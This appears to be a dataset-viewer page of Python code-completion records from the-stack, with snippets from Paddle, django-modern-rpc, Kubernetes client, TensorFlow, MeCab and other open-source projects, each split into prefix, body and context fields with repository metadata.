param_shape = [reduce(lambda a, b: a * b, input_shape[1:], 1)] + [SIZE]
scale = (2.0 / (param_shape[0]**2 * SIZE))**0.5
predict = fluid.layers.fc(
input=conv_pool_2,
size=SIZE,
act="softmax",
param_attr=fluid.param_attr.ParamAttr(
initializer=fluid.... | 122 | 122 | 408 | 13 | 108 | zmxdream/Paddle | python/paddle/fluid/tests/unittests/dist_allreduce_op.py | Python | TestDistMnist2x2 | TestDistMnist2x2 | 77 | 118 | 77 | 77 | 778cac074dd25c98b2564981e38d80553b38936e | bigcode/the-stack | train |
0cb8d79a8e5283df109e6cd2 | train | function | def test_call_with_named_args_errors(jsonrpc_client):
with pytest.raises(ReceivedErrorResponse) as excinfo:
jsonrpc_client.divide(wrong_param_1=10, wrong_param_2=20, z=25)
assert 'Invalid parameters' in excinfo.value.message
assert 'unexpected keyword argument' in excinfo.value.message
assert e... | def test_call_with_named_args_errors(jsonrpc_client):
| with pytest.raises(ReceivedErrorResponse) as excinfo:
jsonrpc_client.divide(wrong_param_1=10, wrong_param_2=20, z=25)
assert 'Invalid parameters' in excinfo.value.message
assert 'unexpected keyword argument' in excinfo.value.message
assert excinfo.value.code == RPC_INVALID_PARAMS
| import ReceivedErrorResponse
from modernrpc.exceptions import RPC_INVALID_PARAMS
def test_call_with_named_args(jsonrpc_client):
result = jsonrpc_client.divide(numerator=10, denominator=2, z=123)
assert result == 5.0
def test_call_with_named_args_errors(jsonrpc_client):
| 64 | 64 | 84 | 11 | 52 | alorence/django-modern-rpc | tests/misc/test_jsonrpc_specific_features.py | Python | test_call_with_named_args_errors | test_call_with_named_args_errors | 13 | 19 | 13 | 13 | c0481dfc661811cc20bf73530850c737f71cf398 | bigcode/the-stack | train |
764ad9e8206b2ad09a5a03a1 | train | function | def test_notify(jsonrpc_client):
assert jsonrpc_client.notify('add', 5, 12) is None
| def test_notify(jsonrpc_client):
| assert jsonrpc_client.notify('add', 5, 12) is None
| _client.divide(wrong_param_1=10, wrong_param_2=20, z=25)
assert 'Invalid parameters' in excinfo.value.message
assert 'unexpected keyword argument' in excinfo.value.message
assert excinfo.value.code == RPC_INVALID_PARAMS
def test_notify(jsonrpc_client):
| 64 | 64 | 25 | 7 | 56 | alorence/django-modern-rpc | tests/misc/test_jsonrpc_specific_features.py | Python | test_notify | test_notify | 22 | 23 | 22 | 22 | d3fd5ae9e4f33bd4ba8770175cf91cc67a482f58 | bigcode/the-stack | train |
6efc09e4b53606f02b1d3aff | train | function | def test_call_with_named_args(jsonrpc_client):
result = jsonrpc_client.divide(numerator=10, denominator=2, z=123)
assert result == 5.0
| def test_call_with_named_args(jsonrpc_client):
| result = jsonrpc_client.divide(numerator=10, denominator=2, z=123)
assert result == 5.0
| # coding: utf-8
import pytest
from jsonrpcclient.exceptions import ReceivedErrorResponse
from modernrpc.exceptions import RPC_INVALID_PARAMS
def test_call_with_named_args(jsonrpc_client):
| 39 | 64 | 39 | 10 | 28 | alorence/django-modern-rpc | tests/misc/test_jsonrpc_specific_features.py | Python | test_call_with_named_args | test_call_with_named_args | 8 | 10 | 8 | 8 | 768c47fde5e74b88fdc97ff08b81cc854d248d5a | bigcode/the-stack | train |
3c03fda1fd8a55504269c072 | train | class | class V2beta1HorizontalPodAutoscalerSpec(object):
"""
NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
"""
Attributes:
swagger_types (dict): The key is attribute name
and the value is attribute type.... | class V2beta1HorizontalPodAutoscalerSpec(object):
| """
NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
"""
Attributes:
swagger_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute ... | # coding: utf-8
"""
Kubernetes
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen)
OpenAPI spec version: v1.13.5
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from pprint import pformat
from six import iteritems
import re... | 87 | 256 | 1,686 | 12 | 74 | Scalr/kubernetes-client-python | kubernetes/client/models/v2beta1_horizontal_pod_autoscaler_spec.py | Python | V2beta1HorizontalPodAutoscalerSpec | V2beta1HorizontalPodAutoscalerSpec | 19 | 212 | 19 | 19 | c62f2f9dab6770a5a1c57f673ef1e35323253772 | bigcode/the-stack | train |
e7fe8512e00f4271ec70bd3b | train | class | class HealthCheckProvider:
@classmethod
def _check(cls) -> None:
raise NotImplementedError()
@classmethod
def check(cls) -> bool:
try:
cls._check()
return True
except Exception as ex:
log.info(f"check {cls.__class__.__name__} failed with {ex}"... | class HealthCheckProvider:
@classmethod
| def _check(cls) -> None:
raise NotImplementedError()
@classmethod
def check(cls) -> bool:
try:
cls._check()
return True
except Exception as ex:
log.info(f"check {cls.__class__.__name__} failed with {ex}")
return False
| import logging
log = logging.getLogger(__name__)
class HealthCheckProvider:
@classmethod
| 20 | 64 | 77 | 9 | 11 | ihor-voronin/health-checker-django | drf_health_check/providers/base.py | Python | HealthCheckProvider | HealthCheckProvider | 6 | 18 | 6 | 7 | 5c8f0f15bbd8a89010af5db7e2ef38948abf1484 | bigcode/the-stack | train |
43298a724f174c4f01e5a62f | train | function | async def app_factory():
app = web.Application()
app.router.add_get('/', handler)
return app
| async def app_factory():
| app = web.Application()
app.router.add_get('/', handler)
return app
| an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from aiohttp import web
async def handler(request):
return web.Response(text='PONG')
async def app_factory():
| 64 | 64 | 23 | 5 | 59 | newrelic/newrelic-python-agen | tests/adapter_gunicorn/async_app.py | Python | app_factory | app_factory | 22 | 25 | 22 | 22 | 0378a7da8d1b884de9416df898feb641c37d9b95 | bigcode/the-stack | train |
f8f900d820dd7b5c96c77c03 | train | function | async def handler(request):
return web.Response(text='PONG')
| async def handler(request):
| return web.Response(text='PONG')
| to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from aiohttp import web
async def handler(reques... | 64 | 64 | 14 | 5 | 58 | newrelic/newrelic-python-agen | tests/adapter_gunicorn/async_app.py | Python | handler | handler | 18 | 19 | 18 | 18 | be35be9a48cfb05a0897302448e62e193dad2f55 | bigcode/the-stack | train |
68b8cad6011ee280c9399b0b | train | class | class essay_23_stats_and_regs_201907():
"""Aug 10, 2021
The main change in this version is that I split the graph of leaders and non-leaders because they belong to essay 2 and essay 3
respectively, and they will be presented separately in my dissertation.
"""
initial_panel = '201907'
all_panels ... | class essay_23_stats_and_regs_201907():
| """Aug 10, 2021
The main change in this version is that I split the graph of leaders and non-leaders because they belong to essay 2 and essay 3
respectively, and they will be presented separately in my dissertation.
"""
initial_panel = '201907'
all_panels = ['201907',
'201908',... | import pandas as pd
# import copy
from pathlib import Path
import pickle
pd.set_option('display.max_colwidth', -1)
pd.options.display.max_rows = 999
pd.options.mode.chained_assignment = None
import numpy as np
import math
import seaborn as sns
import matplotlib.pyplot as plt
import matplotlib.patches as mpatches
from s... | 177 | 256 | 22,863 | 11 | 166 | nz44/phd_dissertation | scripts/old_scripts/STEP8_ESSAY_2_3_stats_and_regs_201907.py | Python | essay_23_stats_and_regs_201907 | essay_23_stats_and_regs_201907 | 27 | 1,968 | 27 | 27 | a45bf1770d5aebb78e1b5635685be632f09fd831 | bigcode/the-stack | train |
2c5bb24853cead4b3b8159e9 | train | class | class SparseConcatTest(tf.test.TestCase):
def _SparseTensor_UnknownShape(self, ind_shape=None, val_shape=None,
shape_shape=None):
return tf.SparseTensor(
tf.placeholder(tf.int64, shape=ind_shape),
tf.placeholder(tf.float32, shape=val_shape),
tf.placeholder... | class SparseConcatTest(tf.test.TestCase):
| def _SparseTensor_UnknownShape(self, ind_shape=None, val_shape=None,
shape_shape=None):
return tf.SparseTensor(
tf.placeholder(tf.int64, shape=ind_shape),
tf.placeholder(tf.float32, shape=val_shape),
tf.placeholder(tf.int64, shape=shape_shape))
def _Spar... | # Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | 186 | 256 | 3,446 | 9 | 176 | atfkaka/tensorflow | tensorflow/python/kernel_tests/sparse_concat_op_test.py | Python | SparseConcatTest | SparseConcatTest | 26 | 327 | 26 | 27 | 73995e973d9187e65032cbd88f77d4528b2794c8 | bigcode/the-stack | train |
86b044260c473706a8061541 | train | class | class NodeType:
# Normal node defined in the dictionary.
MECAB_NOR_NODE = 0
# Unknown node not defined in the dictionary.
MECAB_UNK_NODE = 1
# Virtual node representing a beginning of the sentence.
MECAB_BOS_NODE = 2
# Virtual node representing a end of the sentence.
MECAB_EOS_NODE = ... | class NodeType:
# Normal node defined in the dictionary.
| MECAB_NOR_NODE = 0
# Unknown node not defined in the dictionary.
MECAB_UNK_NODE = 1
# Virtual node representing a beginning of the sentence.
MECAB_BOS_NODE = 2
# Virtual node representing a end of the sentence.
MECAB_EOS_NODE = 3
# Virtual node representing a end of the N-best enumer... | class NodeType:
# Normal node defined in the dictionary.
| 13 | 64 | 108 | 13 | 0 | lainrose/pecab | mecab/data_structure.py | Python | NodeType | NodeType | 1 | 15 | 1 | 2 | b783b10ca5c093029e50a5fae2516168a7fb63ad | bigcode/the-stack | train |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.